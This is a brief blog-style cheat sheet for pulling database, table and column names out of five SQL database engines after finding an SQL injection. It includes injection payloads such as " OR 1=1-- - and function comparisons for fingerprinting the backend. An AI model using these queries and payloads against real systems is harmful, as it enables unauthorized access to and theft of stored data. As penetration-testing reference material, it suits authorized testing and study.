SQL Table Leaking Handbook

Nov 10, 2023

2 mins read

This post is a short reference guide on manually grabbing unknown database/table/column information to extract data after finding an SQL injection because I can’t find a good one anywhere else.

MSSQL / Microsoft SQL Server

SELECT DISTINCT catalog_name FROM information_schema.schemata to leak database/catalog names

SELECT table_name FROM information_schema.tables WHERE table_catalog = 'catalog_name' to leak table names

SELECT column_name from information_schema.columns WHERE table_catalog = 'catalog_name' AND table_name = 'demo' to leak column names

MySQL / MariaDB

SELECT schema_name FROM information_schema.schemata to leak database names

SELECT table_name FROM information_schema.tables WHERE table_schema = "database_name" to leak table names

SELECT column_name from information_schema.columns WHERE table_schema = "database_name" AND table_name ="table_name" to leak column names

OracleDB

SELECT tablespace_name FROM all_tables to leak all tablespaces. ‘SYSTEM’ and ‘SYSAUX’ are builtins.

SELECT table_name FROM all_tables WHERE tablespace_name = 'tablespace_name'; to leak table names

SELECT column_name FROM all_tab_cols WHERE table_name = 'table_name' to leak column names

PostgreSQL

SELECT DISTINCT catalog_name FROM information_schema.schemata to leak database/catalog names

SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' AND table_catalog = 'catalog_name' to leak table names

SELECT column_name from information_schema.columns WHERE table_catalog = 'catalog_name' AND table_name = 'table_name' to leak column names

SQLite

SELECT name FROM PRAGMA_DATABASE_LIST() to leak database names

SELECT name FROM [database_name].sqlite_master WHERE type='table' to leak table names (where [database_name] should be replaced with the database name, like main.sqlite_master)

SELECT name FROM PRAGMA_TABLE_INFO('table_name') to leak column names

Backend Identification

You can figure out the backend of the system by including backend-specific functions inside your statement. For instance, if you retrieve some unique response when sending the server " OR 1=1-- -, you can instead try using " OR sqlite_version()=sqlite_version()-- -. If you recieve the same response as before without error, then you know the backend is SQLite. Here’s that for other popular DBMSes:

  • BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123) for MSSQL
  • crc32('MySQL')=crc32('MySQL') for MySQL
  • RAWTOHEX('AB')=RAWTOHEX('AB') for Oracle
  • current_database()=current_database() for PostgreSQL
  • sqlite_version()=sqlite_version() for SQLite

Sharing is caring!